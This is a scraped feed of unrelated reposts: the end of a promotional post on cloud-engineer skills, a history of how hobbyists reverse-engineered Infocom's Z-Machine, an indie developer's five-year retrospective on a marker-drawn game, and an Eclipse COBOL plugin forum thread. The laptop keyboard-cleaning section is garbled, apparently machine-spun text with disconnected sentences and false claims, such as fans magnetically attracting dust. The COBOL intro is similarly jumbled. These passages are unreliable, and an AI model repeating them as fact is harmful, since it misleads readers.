Thus, having a good experience of working on websites, and related knowledge would help you have a strong core in developing Cloud Architectures.

7. DevOps

If you are a software developer or an operations engineer earlier then you are no stranger to the constant issues these individuals deal with as they work in different environments. DevOps brings in Development and Operations approach in one mold thus easing their work dependencies and filling in the gap between the two teams.

This cloud engineer skill may look a little out of place on this list of skills, but this development approach has made its presence felt to many developers. DevOps gels well with most of the Cloud Service Providers, AWS in particular making AWS DevOps a great skill to have.

8. Programming Skills

Talking about cloud engineer skills, you cannot ignore the importance of developers’ play in computing. Developers possess the ability to build, deploy, and manage applications quickly. Cloud Computing uses this feature for strengthing, scalability. Hence learning appropriate programming languages or frameworks would be a boon. Here is a list of some popular languages and frameworks:

SQL: Very important for data manipulation and processing

Python: lets you create, analyze and organize large chunks of data with ease

XML With Java Programming: Data description

net: must-have framework especially for Azure Developers

Stack up these programming skills and you would be an unstoppable Cloud Engineer.

So this is it as we come to an end of this blog on ‘Skills you should learn to become a Cloud Engineer’. If you wish to master Cloud Computing and build a career in this domain, then check out our website Edufyz which comes with instructor-led online training and online courses. Our e-courses training will help you understand Cloud Computing in-depth and help you master various concepts that are a must for a successful Cloud Engineer Career.

#online training #online courses #e-courses #online programming courses #e-learning platform

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hairgelblaine · 4 years

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compressed air cleaning for the computer

compressed air cleaning for the computer It often describes how to change the keyboard. Due to the provisions resulting from the GDPR, extensive adjustments to the forum would have to be made that we cannot economically depict. We have therefore decided to archive the forum in its current form and make it available online, but not to allow new registrations or new comments. You can usually see streaks or grease on the display, but small particles tend to settle on the edge of the case. Of course, as with all computers, there are also fans and cooling fins that magnetically attract dust. That sounds expensive - and it is. Warm air could damage the coating on the keyboard or components underneath. To replace the key covers, you first have to look exactly where the brackets are on the underside, then align the button on the key holder and press it with your finger until the brackets snap into place. After that, everything still holds together, via the screws that are also present, but the housing is unstable, twists when you pick it up, gaps open and it creaks and rattles when you type. Not specifically related to this model, but that's usually how it is. dust cleaning mud a> Laptop coolers are documents with an active cooling capacity. One or more fans help your laptop cool the internal components from the outside. Many modern laptops have manufacturer software that can be used to control the performance of the notebook.

A special plastic cleaner is recommended for heavy soiling.

I installed a Linux Mint partition and an Android partition for computers.

The upper half of the housing can now be removed.

There are also dirt-resistant rubber keyboards.

Above all there it is difficult to remove. Spring cleaning doesn't just include the car or the apartment. Technical devices such as the PC or laptop also want to be cleaned. Since it is very unlikely that a person would operate several keys in such a short succession that the keyboard controller could no longer recognize the sequence in which they were pressed, there is a possibility that additional simultaneous fit could be included for as long. In the example above, this would mean that, for example, first u, then y are recognized as active, no phantom key can occur here, so both keys are accepted. If v is added, the phantom key effect is created and the keyboard controller ignores the v and x keys. Allow all cleaned components to dry well for at least two to three days. A heat source (radiator) nearby or compressed air accelerates drying. If none of the above tips have actually led to success, it may well be that your keyboard has a hardware defect that in the worst case can no longer be repaired. If all letters are capitalized, you have activated the Caps Lock key (the large arrow above the "Shift" key). Pressing it once should fix the problem. Tell me what you are looking for and I will help you find solutions. The virtual agent is currently unavailable. Please try again later.

#how to clean a laptop on the bottom of the keyboard

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ciathyzareposts · 5 years

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New Tricks for an Old Z-Machine, Part 1: Digging the Trenches

One of the most oddly inspiring stories I know of in all computing history is that of the resurrection and re-purposing of the Z-Machine, Infocom’s virtual machine of the 1980s, to serve a whole new community of interactive-fiction enthusiasts in the 1990s and well beyond. Even as the simple 8-bit computers for which it had originally been designed became obsolete, and then became veritable antiques, the Z-Machine just kept soldiering on, continuing to act as the delivery system for hundreds of brand new games that post-dated the company that had created it by years and eventually decades. The community of hobbyist practitioners who spawned the Interactive Fiction Renaissance of the mid-1990s made the Z-Machine one of their technological bedrocks for reasons more sentimental than practical: most of them worshiped Infocom, and loved the way that distributing their games via Infocom’s venerable virtual machine made them feel like the anointed heirs to that legacy. The Z-Machine was reborn, in other words, largely out of nostalgia. Very soon, though, the hobbyists’ restless creativity pushed and twisted the Z-Machine, and the genre of games it hosted, in all sorts of ways of which even Infocom at their most experimental could never have dreamed. Thus a regressive became a progressive impulse.

In the end, then, a design which Joel Berez and Marc Blank first sketched out hurriedly at their kitchen tables in 1979, in response to the urgently immediate problem of how to move their DEC PDP-10 game of Zork out of the MIT computer lab and onto microcomputers, didn’t fall out of general use as a delivery medium for new games until after 2010. And even today it still remains in active use as a legacy technology, the delivery medium for half or more of the best text adventures in the historical canon. In terms of the sheer number of platforms on which it runs, it must have a strong claim to being the most successful virtual machine in history; it runs on everything from e-readers to game consoles, from mobile phones to mainframes, from personal computers to electronic personal assistants. (To paraphrase an old joke, it really wouldn’t surprise me to learn that someone is running it on her toaster…) Its longevity is both a tribute to the fundamental soundness of its original design and to the enduring hold which Infocom’s pioneering interactive fiction of the 1980s has had upon more recent practitioners of the form. Like so many technology stories, in other words, the story of the Z-Machine is really about people.

One of the more ironic aspects of the Z-Machine story is the fact that it was never designed to be promulgated in this way. It was never intended to be a community software project; it was no Linux, no Mozilla, no Java. The ideological framework that would lead to such projects didn’t even exist apart from a handful of closeted university campuses at the time Berez and Blank were drawing it up. The Z-Machine was a closed, proprietary technology, closely guarded by Infocom during their heyday as one of their greatest competitive advantages over their rivals.

The first order of business for anyone outside of Infocom who wished to do anything with it, then, was to figure it out — because Infocom certainly wasn’t telling. This first article in a series of three is the story of those first intrepid Z-Machine archaeologists, who came to it knowing nothing and began, bit by bit, to puzzle it out. Little did they know that they were laying the foundation of an artistic movement. Graham Nelson, the most important single technical and creative architect of the Interactive Fiction Renaissance of the 1990s (and thus the eventual subject of my second and third articles), said it most cogently: “If I have hacked deeper than them, it is because I stand in their trenches.”

Although the Z-Machine was decidedly not intended as a community project, Infocom in their heyday made no particular attempt to hide the abstract fact that they were the proud possessors of some unusual technology. The early- and mid-1980s, Infocom’s commercial peak, was still the Wild West era of personal computing in the United States, with dozens of incompatible models jockeying for space on store shelves. Almost every published profile of Infocom — and there were many of them — made mention of the unique technology which somehow allowed them to write a game on a big DEC PDP-10 of the sort usually found only in universities and research laboratories, then move it onto as many as 25 normally incompatible microcomputers all at once. This was, perhaps even more so than their superb parser and general commitment to good writing and design, their secret weapon, allowing them to makes games for the whole of the market, including parts of it that were served by virtually no other publishers.

So, even if highfalutin phrases like “virtual machine” weren’t yet tripping off the tongue of the average bedroom hacker, it wasn’t hard to devise what Infocom must be doing in the broad strokes. The specifics, however, were another matter. For, while Infocom didn’t hide the existence of a Z-Machine in the abstract, they had no vested interest in advertising how it worked.

The very first outsiders to begin to explore the vagaries of the Z-Machine actually had no real awareness of doing so. They were simply trying to devise ways of copying Infocom’s games — most charitably, so that they could make personal backups of them; most likely, so that they could trade them with their friends. They published their findings in organs like The Computist, an underground magazine for Apple II owners which focused mainly on defeating copy protection, hacking games, and otherwise doing things that the software publishers would prefer you didn’t. By 1984, you could learn how Infocom’s (unimpressive) copy-protection scheme worked from the magazine; by 1986, you could type in a program listing from it that would dump most of the text in a game for cheating purposes.

But plumbing the depths of a virtual machine whose very existence was only implicit was hard work, especially when one was forced to carry it out on such a basic computer as the Apple II. People tended to really dive in only when they had some compelling, practical reason. Thus users of the Apple II and other popular, well-supported platforms mostly contented themselves with fairly shallow explorations such as those just described. Users of some other platforms, however, weren’t fortunate enough to enjoy the ongoing support of the company that had made their computer and a large quantity of software on the shelves at their local computer store; they had a stronger motivation for going deeper.

Over the course of the 1980s, the American computing scene became steadily more monolithic, as an industry that had once boasted dozens of incompatible systems collapsed toward the uniformity that would mark most of the 1990s, when MS-DOS, Microsoft Windows, and (to rather a lesser extent) the Apple Macintosh would be the only viable options for anyone wishing to run the latest shrink-wrapped commercial software. This gradual change was reflected in Infocom’s product catalog. After peaking at 25 or so machines in 1984, they released their final few games in 1988 and 1989 on just four of them. The realities of the market by then were such that it just didn’t make sense to support more platforms than that.

But technical transitions like these always come with their fair share of friction. In this case, plenty of people who had been unlucky or unwise enough to purchase one of the orphaned machines were left to consider their options. Some of them gave up on computing altogether, while others sucked it up and bought another model. But some of these folks either couldn’t afford to buy something else, or had fallen hopelessly in love with their first computer, or were just too stubborn to give it up. This state of affairs led directly to the world’s first full-fledged Z-Machine interpreter to be born outside of Infocom.

The orphaned machine at the heart of this story is the Texas Instruments 99/4A, a sturdy, thoughtfully designed little computer in many respects which enjoyed a spectacular Christmas of 1982, only to be buried by Jack Tramiel under an avalanche of Commodore VIC/20s and 64s the following year. On October 28, 1983, Texas Instruments announced they were pulling out of the home-computer market entirely, thus marking the end of one of the more frantic boom-and-bust cycles in computing history. It left in its wake hundreds of thousands of people with 99/4As on their desks or in their closets — both those who had bought the machine when it was still a going proposition and many more who snatched up some of the unsold inventory which Texas Instruments dumped onto the market afterward, at street prices of $50 or less. The number of active 99/4A users would inevitably decrease sharply as time went on, but some clung to their machines like the first loves they often were, for all of the reasons cited above.

This little 99/4A fraternity would prove sufficiently loyal to the platform to support an under-the-radar commercia- software ecosystem of their own into the 1990s. For many users, the platform was appealing not least in that it never lost the homegrown charm of the very earliest days of personal computing, when every user was a programmer to one degree or another, when the magazines were full of do-it-yourself hardware projects and type-in program listings, and when one kid working from his bedroom could change the accepted best practices of everyone else almost overnight. The Z-Machine interpreter that interests us today was a reflection of this can-do spirit.

Infocom’s first taste of major success had corresponded with the 99/4A’s one great Christmas. Naturally, they had made sure their games were available on one of the hottest computers in the country. Even after Texas Instruments officially abandoned the 99/4A, there was no immediate reason to ignore its many owners. Thus Infocom continued to make versions of their games for the machine through The Hitchhiker’s Guide to the Galaxy in September of 1984. In all, they released fourteen 99/4A games.

But continuing to support any given machine eventually tended to become a more complicated proposition than simply continuing to use an already-extant interpreter. The Z-Machine in reality was more of a moving target than the abstract idea behind it might suggest. Infocom’s games got steadily bigger and richer as time went on, with more text, better parsers, and more ambitious world models. The original Z-Machine, as designed in 1979, had a theoretical maximum story-file size of 128 K, but the practical limitations of the machines running the interpreters kept the early games from reaching anything close to this size. (The original Zork, for example, Infocom’s very first game, was just 77 K.) As story files pushed ever closer to their theoretical maximum size in the years that followed, they began to exceed the practical limitations of some existing interpreters. When that happened, Infocom had to decide whether reworking the interpreter to support a larger story file was possible at all, and, if so, whether it was worth the effort in light of a platform’s sales figures. Following Hitchhiker’s (story-file size: 110 K), their fourteenth game, but before Suspect (story-file size: 120 K), their fifteenth, Infocom judged the answer to one or both of those questions to be no in the case of the 99/4A.

Barry Boone, the first person outside of Infocom to create a full-fledged Z-Machine interpreter.

As one might expect, this decision left a number of 99/4A users sorely disappointed. Among them was Barry Boone, a clever young man just out of high school who was already one of the leading lights of 99/4A hackery. Having read enough about Infocom to understand that their game format must be in some sense portable, he started doggedly digging into the details of its implementation. Soon he was able to make a clear delineation between the interpreter running natively on his machine and the story file it executed — a delineation the Apple II crowd writing for The Computist had yet to manage. And then he uncovered the big secret: that the interpreter packaged with one game could actually run the story file from another — even if said story file originated on a platform other than the 99/4A! Boone:

Having worked out the file format, I wrote a program to crunch the non-TI files and build the TI files. The resulting files appeared to work, but I quickly discovered [a] problem. If I converted an older game that already existed in TI format, everything worked perfectly. But with the newer games, there was a big problem.

The problem was that the interpreter software written for the TI had a number of bugs, many of which did not show up with the original set of games, but became all too apparent with the newer ones and made them unplayable. So I began a process of reverse-engineering the Z-Code interpreter for the TI. Once I reached a point of having recreated the source code, I began working on making the code more efficient, and fixing numerous bugs in the implementation. The largest bug I encountered was a vocabulary-table bug. Basically, the original TI interpreter would hit an overflow bug if the vocabulary table was too large, and the binary-search algorithm would start searching the wrong area of memory to look up words. This had the effect of making the last portion of the vocabulary inaccessible, and made the game impossible to play.

I also added a number of enhancements that allowed the games to load about twenty times faster, and modifications to play the games on TI systems equipped with 80-column displays. Finally, I had to make a second variation of the interpreter so that persons who had an extra 8 K of RAM (known as a Super Cart, or Super Space module) could play some of the games that required a larger memory footprint than 24 K of memory buffer. These games included Leather Goddesses.

Boone estimates that he finished his interpreter around 1986, whereupon he promptly began sharing it with his network of friends and fellow 99/4A enthusiasts, who used it to play many of the newer Infocom story files, transferring them from disks for other platforms. Boone was stymied only by the games from Infocom’s Interactive Fiction Plus line, such as A Mind Forever Voyaging and Trinity. Those games used an expanded version of the Z-Machine, known internally as version 4 — the mature version of the original virtual machine was version 3 — which expanded the available memory space to 256 K, far beyond what the 99/4A could possibly manage. Even without them, however, Boone gave himself and his mates ten new Infocom games to play — i.e., all of those released for the 128 K Z-Machine between October of 1984 and July of 1987, when this original incarnation of the virtual machine made its last bow in Infocom packaging.

But even that wasn’t quite the end of the story. An obscure footnote to Infocom’s history took shape in late 1988 or early 1989, when Chris Bobbitt, founder of a company called Asgard, the 99/4A software publisher that most resembled a real business as opposed to a hobbyist project, had the idea of contacting Infocom themselves to ask permission to market the newer games, running under Boone’s interpreter, as legitimate commercial products. Although Bobbitt doubtless didn’t realize it at the time, Infocom was by then on the verge of being shut down, and Mediagenic, their less-than-doting parent company, were also beginning to feel the financial stresses that would force them into bankruptcy in 1990. They saw Bobbitt’s proposal as a handy way to clear their warehouse of old stock and make some desperately needed cash. Jim Reiss, who worked at Asgard at the time as the last remaining full-time 99/4A software developer in the world, remembers how the deal went down:

[Bobbitt] contacted Infocom to ask for permission to release the later Infocom releases, and was given permission to do so on one condition: that the packaging and disks had to be originals for other systems, relabeled (the packaging) and reformatted (the disks) for use with the TI. Infocom scoured their warehouse and sent Chris two very large boxes of the titles he was asking to reproduce—and noted on the invoice that these boxes included every single copy of the relevant titles that Infocom still had in their possession. Some of the titles were relatively plentiful, but others were included in much lower numbers. The boxes only contained four copies of Leather Goddesses of Phobos, for example. All other titles had at least ten copies each, and some had a lot more. He was permitted to buy more copies from remainders in the retail channels, though, so it is possible there are more properly badged Asgard copies of the titles that were harder to find. All of the stock he received from Infocom was gone in a matter of months.

These games, which Bobbitt bought for $5 apiece and sold on for several times that, thereby became the last new Infocom games ever sold in their original packaging — out-of-print games from a dead company sold to owners of an orphaned computer.

Asgard prepared their own platform-specific reference card after the Infocom example and inserted it into the box.

Well before Asgard entered the scene, however, another, more structured and sustainable project had led to a Z-Machine interpreter much more amenable to being ported and built upon than Boone’s incarnation of same for an idiosyncratic, bare-bones, orphaned platform. Not long after Boone first started sharing his 99/4A interpreter with friends, a few students at the University of Sydney in far-off Australia started disassembling another of Infocom’s own interpreters — in this case one for Zilog Z80-based computers running the operating system CP/M. The group included in their ranks David Beazley, George Janczuk, Peter Lisle, Russell Hoare, and Chris Tham. They gave themselves the rather grandiose name of the InfoTaskforce, but they initially regarded the project, said Janczuk to me recently, strictly as “a form of mental calisthenics”: “This was never meant to be a public exercise.”

Still, the group had several advantages which Boone had lacked — in addition, that is, to the advantage of sheer numbers. Boone had been a bedroom hacker working on fairly primitive hardware, where cryptic assembly language, highly specific to the computer on which it was running, was the only viable option. The InfoTaskforce, on the other hand, had more advanced hardware at their disposal, and were steeped in the culture of institutional hacking, where portable C was the most popular programming language and software was typically distributed as source code, ready to be analyzed, ported, and expanded upon by people other than its creators, quite possibly working on platforms of which said creators had never dreamed. And then, thanks to their university, the InfoTaskforce was connected to the Internet, long before most people had even heard of such a thing; this gave them a way to share their work quickly with others across a wide, international swath of computing. The contrast with the segregated ghetto that was the world of the 99/4A is telling.

David Beazley, who did almost all of the actual coding for the InfoTaskforce interpreter — the others had their hands full enough with reverse-engineering the Z-Machine architecture — did so in C on a first-generation Apple Macintosh. On May 25, 1987, he used this machine to compile the first truly portable Z-Machine interpreter in history. Within a week, he and his mates had also gotten it compiled and running on an MS-DOS machine and a big DEC VAX. (Ironically, the latter was the successor to the PDP-10 line so famously employed by Infocom themselves; thus one might say that the Z-Machine had already come full-circle.)

As Janczuk remembers it, the first version of the interpreter to reach the Internet actually did so accidentally. He gave it to a friend of his at university, who, as so many friends have done over the years, uploaded it without permission on June 2, 1987. There followed an immediate outpouring of interest from all over the world, which greatly surprised the interpreter’s own creators. It prompted them to release an official version 1.0, capable of playing any story file for the standard — i.e., 128 K — Z-Machine on August 1, 1987. Already by this time, the Commodore Amiga personal computer and several more big machines had been added to the list of confirmed-compatible host platforms. It was a milestone day in the history of interactive fiction; Infocom’s games had been freed from the tyranny of the hardware for which they’d originally shipped. And they could remain free of the vicissitudes and fashions of hardware forevermore, as long as there was an enterprising hacker ready to tweak an existing interpreter’s source code to suit the latest gadget to come down the pipe. (So far, there has been no shortage of such hackers…)

With their university days coming to an end, the InfoTaskforce boys worked on their interpreter only in fits and starts over the years that followed. Not until 1990 did they finish adding support for the Interactive Fiction Plus line; not until 1992, in a final burst of activity, did they add support for Infocom’s last few text-only games, which ran under what was known internally as the version 5 Z-Machine. This last release of the InfoTaskforce interpreter actually attracted a bit of scoffing for its inefficiency, and for generally lagging behind what other hackers had done by that point in other interpreters.

In reality, information and inspiration rather than the software itself were the most important legacies of the InfoTaskForce interpreter. Beazley’s C source told you almost all of what you really needed to know about the Z-Machine, so long as you were sufficiently motivated to dig out the information you needed; doing so was certainly a fair sight more pleasant than poring over eye-watering printouts of cryptic disassembled Z80 machine language, as Beazley and his pals had been forced to do before coming up with it. The InfoTaskforce interpreter thus became the gateway through which the Z-Machine burst into the public domain, even as Infocom was soon to collapse and abandon their virtual machine. This was a role which Boone’s interpreter, for all its naïve brilliance, just wasn’t equipped to play, for all of the reasons we’ve already explored.

An enterprising American hacker named Mark Howell did perhaps the most to build upon the foundation of the InfoTaskforce interpreter during the half-decade after its initial appearance. His own interpreter bore the name of ZIP (for “Z-Machine Implementation Program”), a name it shared with the popular compression format, to enormous confusion all the way around — although, to be fair, this was also the name by which Infocom knew their own interpreters. ZIP was faster and less buggy than the InfoTaskforce interpreter, and for this reason it soon surpassed its older sibling in popularity. But Howell also delved further into the architecture of the Z-Machine than anyone before him, analyzing its design like a computer scientist might rather than as a hacker simply trying to write a quick-and-dirty clone of Infocom’s existing interpreters. When he came up for air, he uploaded his set of “ZTools” — programs for probing story files in all sorts of ways, including a disassembler for the actual code they contained. These tools did much to set the stage for the next phase of the Z-Machine’s resurrection and liberation.

In 1992, another building block fell into place when Activision shipped their Lost Treasures of Infocom collection to unexpected success. It and its sequel collected all of the Infocom games together in one place at a reasonable price, stored as neatly discrete story files ready to be fed into either the original Infocom interpreters included on the disks or an alternative of one’s choice. Lost Treasures shipped only in versions for MS-DOS, the Apple Macintosh, and the Commodore Amiga — the last three commercially viable personal-computing platforms left in North America by that time (and the Amiga wouldn’t enjoy that status much longer). But users of orphaned and non-North American platforms were soon passing around the tip that, if you could just get the story files off of the original Lost Treasures disks, they could be run on their own platforms as well with one of the interpreters that had by now spread far and wide. For example, our old friends at The Computist, still carrying the 8-bit torch in these twilight days of the Apple II, published instructions on how to do just that — a fitting end point to their earliest explorations of the Infocom format.

Across the Atlantic, meanwhile, the magazine Acorn User published a similar article for users of the Acorn Archimedes, a machine that was virtually unknown outside of Britain, a few parts of mainland Europe, and Australasia. (“It’s hard to conceive of videogame nostalgia,” they wrote of the Lost Treasures collections, “but this is as close as it gets.” Little did they know…) It so happened that an Oxford doctoral candidate in mathematics named Graham Nelson was a stalwart Acorn loyalist and a regular reader of that magazine. By the time the article in question appeared, the window opened by the InfoTaskforce interpreter and all the software that had followed it, combined with the Lost Treasures collections, had already led him to begin sliding the next couple of building blocks of the Interactive Fiction Renaissance into place.

Infocom’s The Hitchhiker’s Guide to the Galaxy running on an Acorn Archimedes — a platform for which it was never officially released — under a third-party Z-Machine interpreter by Edouard Poor.

(Sources: The Computist 5, 7, 34, 41, 47, 57, 58, 63, and 86; Acorn User of July 1993; Asgard Software’s newsletters from 1989 and 1990. Online sources include Barry Boone’s memories of writing his Z-Machine interpreter at The Museum of Computer Adventure Game History and his bio for the TI99ers Hall of Fame. The original source for the InfoTaskforce interpreter can be found in various file archives. My huge thanks go to Barry Boone, Jim Reiss, and George Janczuk for talking to me about their pioneering early work in Z-Machine archaeology.)

source http://reposts.ciathyza.com/new-tricks-for-an-old-z-machine-part-1-digging-the-trenches/

#retro games #dos games #retro #crpg #adventure #amiga #oldcomputers #8bit #16bit #blog #repost

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myfriendpokey · 5 years

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50 Short Years!

This January makes a full 5 years since releasing 50 Short Games!

I admit, it is weird to think about.

In general I don’t have very strong feelings about anything I’ve worked on, since anything like that has usually burnt itself out somewhere in the process of making the thing.

But it feels a little startling that this particular game came out 5 years ago, because in many ways I feel like I’m still working somewhere in it’s orbit – it still feels “close” to me in terms of, I guess, setting up the way I’ve been thinking about and working on these things ever since then. I still feel like I’m working out some of the stuff that came up in its production.. compare to older games which can feel like they were made by different, mercifully forgotten, people.

The game is temporarily discounted on itch down to just $1, until valentine’s day - good for friends, good for lovers.

When this first came out, I included a big note file of the processes and ideas and etc that went into it. I have posted that to my website for free to mark this little anniversary. But since a decent bit of time has passed since those impressions, and since I don’t feel like refreshing them, I thought it might be interesting to try writing up a sort of “afterlife” of this game, specifically the ways it sort of covertly turned out to influence what I did for the 5 years after it, as well.

Here are my notes seperated by theme.

- colour - mice - pacing - work / life - gameplay - theme - writing - distribution

- COLOUR: this is a strange one. 50SG felt like the first time I was really aware of / interested in trying to add “colour” as an element I could play with within my games, trying to add it to the lego set along with “rocks” and “little guys”. More colours, interesting colours, colour combinations, games which would be colourful as images. Because I’ve never actually been a very visual person (surprise surprise ha ha ha) and even when I draw, or sculpt, I tend to focus on lines and omit colour as much as possible... When I was a kid I disliked any kind of colouring or painting, as opposed to scribbling, but just before 50SG I’d been working on an uncompleted game with painted textures, and enjoyed it enough to want to explore the effects more.

The reason I call this a strange one is that, mostly - - I failed!!! I feel very aware now of how much of this game is just scratchy line drawings, how little colours are actually used once I'd worked out which ones I preferred working with from the set. I did try to change things up over the course of the series and some games (specifically the Mogey ones) tried to use flat colour or colour patterns more. But when I think about the game now the memories I mostly have are of essentially monochrome or mostly-monochrome drawings.

In fairness, some of this was technical too - I never had any kind of consistent way to light my pictures for when I was photographing them, and a lot of the time the bright markers came out muddy, which sort of discouraged me from trying to do anything specifically with colour effects. Strong lines are also a lot easier to chop up into discrete little game-shapes.

But I think this sense of missed opportunity - having this big bag of markers in all colours, all translucent lines, and not really using them - was specifically what made me spend the next few years trying to work with colour even more. Hence stuff like Mouse Corp, and certain entries in the Hardpack 11-in-1, and Magic Wand. I think I moved more towards pixel art again because it gave me a very quick way to play with colours, and swap them in and out, without having to worry about correctly photographing them first. And in fact my current game came about directly from trying to play more with ideas of translucent outline sprites on top of flat fields of colour – trying to combine colour with line in a looser way than just colouring stuff in.

I'd like to go back to playing with markers some time.

- MICE: I think this was the first time I used mice in my games. Previously the emblematic animal was the Dog – Murder Dog, Goblet Grotto dog... The dog is a "LAWFUL" animal, one which can be aimlessly malevolent on behalf of some higher system or master. The dog stands in for the implicit malignity of the game system as a whole.

Meanwhile, mouse is the "UNLAWFUL" animal - they live in spaces they do not construct, and scavenge from what they find within, they are constrained by those spaces but also have something of an independent life within them. By this time, I had been working on a lot of games where the gameworld itself was sort of an ominous presence - Crime Zone, Goblet Grotto, Drill Killer etc - and I think the move from "dog" to "mouse" came about as a way to think about these spaces as just kind of indeterminate and abandoned instead of actively malign. Places which don't really notice your being there, which were constructed and then left for some unknowable purpose. I cannot say if this shift in thinking is good or bad.

- PACING: I forget whether I mention it in the notes - but the prototype for all the marker games was an earlier one-off called "Gold's Enigma", done with crayons and in Klik N Play. And that game felt like sort of a revelation because it was so quick to just add new areas to it, or copy and paste elements around, or switch from one game control system or mode of representation to another. So you could have an extremely short, quick game that still contained enough of a shift to make you feel like you’d gone somewhere or like the view from one side of the game was different to the view from the other. I don’t know how consistently or successfully this was ever really done (the end of Happy Bird is my personal favourite version) but it did stick in my head, as an ideal to work towards. And I think something like the more longform Magic Wand was still sort of driven by a desire to try a “fuller” take on this same idea.

- WORK / LIFE: I don't remember exactly but I think this was my first time successfully trying to start a new, slightly longform project while also having a day job. With other games either they were short enough for me to just blow through in a concentrated rush or else enough pieces had already been laid down (eg Goblet Grotto) that I could just brainlessly slam together any remaining levels in the mornings before I went to work. Making games as a hobby isn't necessarily hard but figuring out how to do it consistently over long periods took me a long adjustment period. For the short games I ended up doodling ideas at lunch, coming home, eating dinner, and then around 7 or 8 I'd start chopping up my image sheets and putting them into the game. And hope to finish by 11 so I wouldn't be too wiped the next day. These days it's more like 8-10pm. Working in the early mornings can be good if you're very determinedly getting through some pre-assigned tasks but can be harder and more frustrating if you're trying to be more exploratory about things. I guess to the extent I’d draw any lesson from this it’d be, set aside a very specific time period for working on stuff but also try to have a process where “working on stuff” can involve a certain level of constructive busywork just so you don’t come home and have to immediately face a blank page? “Placing stuff around on a screen” is ultimately what absorbs me so working in a way that let me do that as quickly and aimlessly as possible helped a lot. Well, that’s my opinion.

- GAMEPLAY: I used the default 8-directional walk system in MMF2, and the default screen-follows-the-player function, so many times in the course of these games that I just burnt myself out on them entirely. They’re fine, but using them so many times over a brief period made me more and more conscious of them to the point where it could feel like I was just filling in the same template each time... I think part of why I shifted to Unity, even though it’s more of a hassle, is just to be able to escape that sense of a singular unchangeable “point of view” and make things where moving or looking around would feel a bit looser and less set in stone. I hope this helps explain my gradual, doomed love affair with extremely idiosyncratic camera systems.

- THEME: Did any themes carry over to any of my post-50SG games? Maybe some but to me it’s less noticeable than seeing what was stripped out. Having a deadline and a very fixed scope did sort of push me more towards including “real world content” in whatever strange way – dreams, specific moments of the early morning or the night, events like work nights out, locations I knew... Compare that to the longer games I’ve done which all kind of take place in these dreamy, private fantasy dimensions. I enjoy that too, and it’s easier to do that when you’re making a game that’s just sort of endlessly adding to itself over time.. It’d be good to get back to working in a way which encouraged that material connection.

- WRITING: I think the notes file that came with 50SG was the first time I did any real writing about the process of making these things, or ideas and notes, etc. And now I can’t shut up!! Well, I did a similar writeup document for Magic Wand, and hope to do so with my current game eventually as well. I think writing that, and having people be encouraging about it, did help me become more interested in looking at and recording the state of my brain as it’s slowly rotted into goop from exposure to these terrible machines. Which is in itself not a bad reason to keep doing it.

- DISTRIBUTION: This was my first commercial game and probably the biggest impact of that was in getting me to move away from PC-only tools. I'd planned a mac version of this game at some point, or specifically to do HTML versions and then use a workaround I'd read about to convert HTML files to Mac and Linux apps... but the HTML conversion sometimes led to strange bugs, and I never had a testing computer to see whether the actual ports would work, and the multiple layers of things that could go wrong (making a html export, to be put into a mac or linux wrapper, to be loaded from a Unity scene...) eventually made me slowly give up on this. I think of getting back to it but to be honest I have such limited energy and for the five months a year I don't just want to hibernate I'd rather keep working on new projects.... I am sorry.... Well, this was a big impetus to try moving to pure Unity and HTML which had more multiplatform support from the get-go. I don't know if I took any other commercial lessons from it! It sold around 500 copies, and talking to other people making weird scrappy narrative type games it sounded like they mostly also sold 500 copies, maybe to the same people or maybe just to each other. At this level of economic activity you can just do what you like.

So in conclusion 50 Short Games is a land of contrasts. It feels distant to me, I don't have any strong feelings about it anymore, but I also feel sort of like I'm still moving around in the terrain this game originally sketched out for me, and still kind of responding to it in either positive or negative forms. Thank you to anyone who bought it. I just put it on sale again to mark the five year anniversary, you can find it on itch.io, gamejolt or kartridge. Please buy several hundred copies and salt them around through hidden disc drives buried in a desert somewhere so that some day they can inspire some form of apocalypse cult.

In the year 2525 if man is still alive if woman, still survives they will find.....

- stephen 2019

#vgames #50 short games #indie games #gamechat #game criticism #notes

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loadfor242 · 3 years

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Eclipse Cobol Development Environment

Using Eclipse for COBOL Development You can create, debug and run COBOL applications on your local machine or on a remote server. You use Eclipse features such as the COBOL and Remote Systems Explorer perspectives within the IDE to background check. HPE NonStop Development Environment for Eclipse (NSDEE) is a PC-based integrated development environment (IDE) for NonStop developers. It enables developers to create, edit, build, and debug NonStop software using Microsoft Windows PCs. The projects can be built for Open System Services (OSS) and/or Guardian environment on NonStop. IsCOBOL offers developers the choice of continuing with their current editor, command line utilities, and scripts, or using isCOBOL's Integrated Development Environment (IDE) Productive and customizable COBOL development Real time syntax checking, code hints, section collapsing, code completion, templates, and more.

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Home » Archived » COBOL » Cobol Compiler available in plug-in

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Cobol Compiler available in plug-in(message #500678)Fri, 27 November 2009 13:42

cdsosi Messages: 10 Registered: November 2009

Hello, I am using Cobol Plugin for eclipse and I am facing some problems using it. Cobol Plug-in seems to be plugged with Fujitsu NetCobol Compiler by default. 1st question : Is it possible to plug this plug-in with another compiler (freeware!)? 2nd question : If i want to only use the editor part not the compiler, is it possible to remove the link with the building process. 3rd question : I do not have Fujitsu NetCobol Compiler with my plug-in of course and there is a side-effect which is a problem to me. A thread tries to build the project at some regular intervals and erase the console output systematically before logging build output message. All the previously logged messages are lost ;((( Example of build output : Project TEST build started at 27 novembre 2009 12:12:45 Project TEST build finished at 27 novembre 2009 12:12:45 -------------------------------------------------- Last question : Would not it be possible to introduce a specific console for buildind process? Any help or suggestions on all that would be appreciated. Regards

Re: Cobol Compiler available in plug-in(message #502185 is a reply to message #500678)Mon, 07 December 2009 05:16

Tetsuya Suehisa Messages: 14 Registered: July 2009

Hello cdsosi, Thank you for using COBOL Plugin. I will answer your question. 1. As you mentioned, the COBOL Plugin is originally designed to use FUJITSU NetCOBOL compiler. If you want to switch the compiler to OpenCOBOL or some sort of free COBOL, you can modify the plugin. But I know it is not easy and requires much time to improve it so that even we have not provide the function. If you are interested in developing COBOL Plugin, will you join us and contribute this? 2. The instructions below may be the help. Select the project and click right button > Properties > Builders > Uncheck COBOL Builer and push OK 3. Same as No.2. 4. I'm sorry I don't understand what you want. Could you tell me a little more concretely? regards, tetsuya

Re: Cobol Compiler available in plug-in(message #502215 is a reply to message #502185)Mon, 07 December 2009 09:33

cdsosi Messages: 10 Registered: November 2009

